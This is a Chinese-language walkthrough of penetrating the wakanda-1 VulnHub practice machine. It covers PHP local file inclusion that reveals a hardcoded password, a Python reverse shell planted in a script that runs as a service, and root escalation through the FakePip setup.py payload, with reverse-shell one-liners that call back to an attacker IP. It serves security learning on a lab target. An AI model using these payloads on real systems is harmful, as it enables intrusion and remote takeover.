wakanda-1-靶機滲透
文章目錄
Yof3ng的個人主頁
-對wakanda靶機的滲透之旅
從vulhub上下載靶機後,本打算在vm上搭建,後發現ova匯入有點問題,故在virtualbox上搭建成功,我們需要獲得flag1.txt,flag2.txt,root.txt 三個檔案的資訊,將攻擊機,靶機均設為橋接網絡卡模式,因為我的kali是在vm裡面。
靶機下載地址:https://www.vulnhub.com/entry/wakanda-1,251/
0x00 滲透過程
1.對靶機的資訊收集
攻擊機:
自用kali--IP地址:192.168.1.107
kali netdiscover 啟動:
那麼可以得到靶機 IP :192.168.1.108 ,既然得到了靶機ip地址,那麼拿出nmap神器對其進行一波掃描,獲得更詳細的靶機資訊。
nmap -sV 192.168.1.108
由nmap掃描得出的資訊,開啟了80埠的web服務,然後是3333埠的一個Openssh服務,這裡需要做一下筆記,ssh連線是3333埠而不是常規的22埠哦!先去80埠訪問一下看看情況:
emmm,發現就一個普通頁面啥也沒有,只有一個看似有用的 Made [email protected] ???難道是個使用者名稱還是個密碼啥的?先做筆記記一下,萌新就是什麼都要做筆記,接下來掃一下目錄看看:
掃到幾個頁面,但是貌似SIZE都是0,被CTF各種虐的我還是選擇去看看頁面裡有沒有東西。==>轉了一圈發現確實是空的,那咋辦,難道滲透之旅到此結束?仔細想了幾分鐘,既然只有一個頁面,忘記看原始碼了,原始碼如下:
這綠的我發慌的一串註釋,不用直覺我猜也是靶機的切入點了,lang引數改變會影響頁面的語言顯示,猜測可能是 lang引數改變了使用的語言php檔案,那麼就是和檔案相關的漏洞咯!
但是隻有這一個頁面,應該可以檢測一下這個引數是否可以進行本地檔案包含(Local File Include),將這唯一的一個頁面的完整原始碼給讀下來。利用之前做ctf還算有一點點的經驗(參考https://blog.csdn.net/qq_35544379/article/details/78230629),我們可以用 php://filter 這個協議的一些小特性來將原始碼以base64的形式down下來:
然後base64解碼得到如下完整的原始碼:
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>
<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Vibranium market">
<meta name="author" content="mamadou">
<title>Vibranium Market</title>
<link href="bootstrap.css" rel="stylesheet">
<link href="cover.css" rel="stylesheet">
</head>
<body class="text-center">
<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
<div class="inner">
<h3 class="masthead-brand">Vibranium Market</h3>
<nav class="nav nav-masthead justify-content-center">
<a class="nav-link active" href="#">Home</a>
<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
</nav>
</div>
</header>
<main role="main" class="inner cover">
<h1 class="cover-heading">Coming soon</h1>
<p class="lead">
<?php
if (isset($_GET['lang']))
{
echo $message;
}
else
{
?>
Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
<?php
}
?>
</p>
<p class="lead">
<a href="#" class="btn btn-lg btn-secondary">Learn more</a>
</p>
</main>
<footer class="mastfoot mt-auto">
<div class="inner">
<p>Made by<a href="#">@mamadou</a></p>
</div>
</footer>
</div>
</body></html>
oh!get到一個password:Niamey4Ever227!!!
到現在,我們收集到了作者的名稱 mamadou,開放在3333埠的ssh服務,然後一個password。
2.開始滲透靶機
二話不說,用ssh試試遠端登入靶機:
ssh 192.168.1.108 -l mamadou -p 3333
輸入Niamey4Ever227!!!作為密碼登入,兩秒之後,彈出來一個python shell介面?見識短淺見識短淺,試試用python的pty把完全互動式的終端弄出來。
>>>from pty import spawn
>>>spawn("/bin/bash")
[email protected]:~$
問題不大,ls看一下目錄,看到了我們要找的第一個flag,也就是flag1.txt,然後cat flag1.txt ==> Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc
接下來就是找一下flag2.txt了,到上級目錄看到了另外一個使用者 devops 的目錄,進去看看找到了flag2.txt,但是沒有許可權,需要以devops的身份開啟。
去別的目錄逛一逛,果然/tmp目錄下是有點東西的,但是隻是一個test檔案,裡面含有一個‘test’字串,並沒有什麼不同。
看看跟devops有關係的檔案有哪些:
第一個還是僅有的一個就是一個python指令碼的樣子(忽略後面的setup.py,因為是做完之後寫的文章,setup.py是後面我弄進去的檔案),看看.antivirus.py內容是啥:
open('/tmp/test','w').write('test')
就一行,和test扯上了關係,往之前/tmp/目錄下的test檔案寫入‘test’字串。這個python指令碼是可寫的,我能將shell寫入其中並且執行,但是反彈的使用者卻仍然是mamadou,而不是想要的devops,問題在哪呢?思考很久,查了下antivirus的意思’抗生素’,沒啥用。
#.antivirus.py--payload
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.1.107',7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
後來經人點撥,恍然大悟,如果這個指令碼是會自動執行的,那麼就不會反彈mamadou許可權的shell了,而是它本身具有的devops許可權,而經過查詢資料,瞭解到存放在/src目錄下的一般為系統服務類指令碼檔案,那麼它自動執行的假設就顯然可以成立了(我還是對有些性質不夠了解)。
#用此命令檢視.antivirus.py是否自動執行
[email protected]:/srv$ grep -R .antivirus.py / 2>/dev/null
/lib/systemd/system/antivirus.service:ExecStart=/usr/bin/env python /srv/.antivirus.py
#確實在自動執行,檢視一下antivirus.service檔案
[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py
[Install]
WantedBy=multi-user.target
#可以看到是每300秒執行一次
那麼接下來,寫入的shell原封不動,kali攻擊機nc監聽7777埠,等待.antivirus.py自動執行(一分一秒地等待總是漫長的)。
果不其然,獲得了反彈devops許可權的shell,那麼cat flag2.txt ==>Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098
那麼下一步就是拿下root許可權,攻入root目錄了。
3.攻破root
先看看devops使用者許可權大概是怎樣的, 執行sudo -l命令:
然而,只有一個pip命令是可以不需要root許可權就能執行的,試試pip install falsk,沒問題。
那麼怎樣才能通過pip來獲取root許可權呢?這裡用到一個github上的開源指令碼Fakepip。這個指令碼通過在pip重新安裝時執行的setup.py檔案中插入shellcode,導致其可通過pip反彈root許可權的shell給攻擊機。專案地址(https://github.com/0x00-0x00/FakePip.git)
接下來在攻擊機上把Fakepip給git下來,然後進入Fakepip目錄,將setup.py中的RHOST引數改為攻擊機地址:192.168.1.107,然後啟動python的簡易伺服器。
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
RHOST = '192.168.1.107' # change this
reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)
setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='[email protected]',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})
然後在devops靶機上用wget http://192.168.1.107/setup.py
將攻擊機上的setup.py下載到本地,攻擊機kali開始用nc監聽443埠,準備接收即將到來的shell。
在devops靶機上命令pip重灌:sudo pip install ./ --upgrade --force-install
kali興奮地一把接到反彈過來的shell:
cd root
,然後cat root.txt
:
萌新的滲透到此暫停emmmm。
0x01 小知識
nmap plus
1.特殊掃描方式 ==> nmap -sV/-sP/-sS/sL 其中-sP是用於掃描IP段的
2.詳細地掃描目標:
nmap -sV 或者 nmap -p- -A <目標ip>
或者超強力的: nmap -sS -sV -A -p- <目標ip>
python 反彈shell & pip get shell
python 反彈 shell:
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"
python構造完全互動式終端 :
python -c "import pty;pty.spawn('/bin/bash')"
php filter and input --LFI本地檔案包含漏洞
參考 https://blog.csdn.net/qq_35544379/article/details/78230629
php://filter,php://input,php://output都是有妙用的哦!
msfvenom -p 生成shell
但在滲透過程中發現,不用msfvenom生成的加密shell也能成功反彈,不過還是要養成好習慣,多用用這種神器提高效率並且準確率。
參考連結 https://www.cnblogs.com/xishaonian/p/6851475.html
linux 中的一些命令與特性
==> su & sudo
可用於切換使用者
==> lsattr 是 ls的升級版,就如aptitude 與apt相似一樣
==> find / -user root 2>/dev/null 檢視使用者屬性為root的檔案
==>ps -aux 檢視所有服務 ==>top 檢視程序
0x02 總結
滲透一定一定注意資訊收集,思維拓展,然後就是紮實的基礎!
如果沒有那麼強的能力,滲透確實有點吃力,但是吃力的過程也在進步,就像不停的被虐的過程,自然自己的等級也在提高,不停地膜大神的文章的同時,自己也會受其影響,作為老臘肉,只能繼續學習。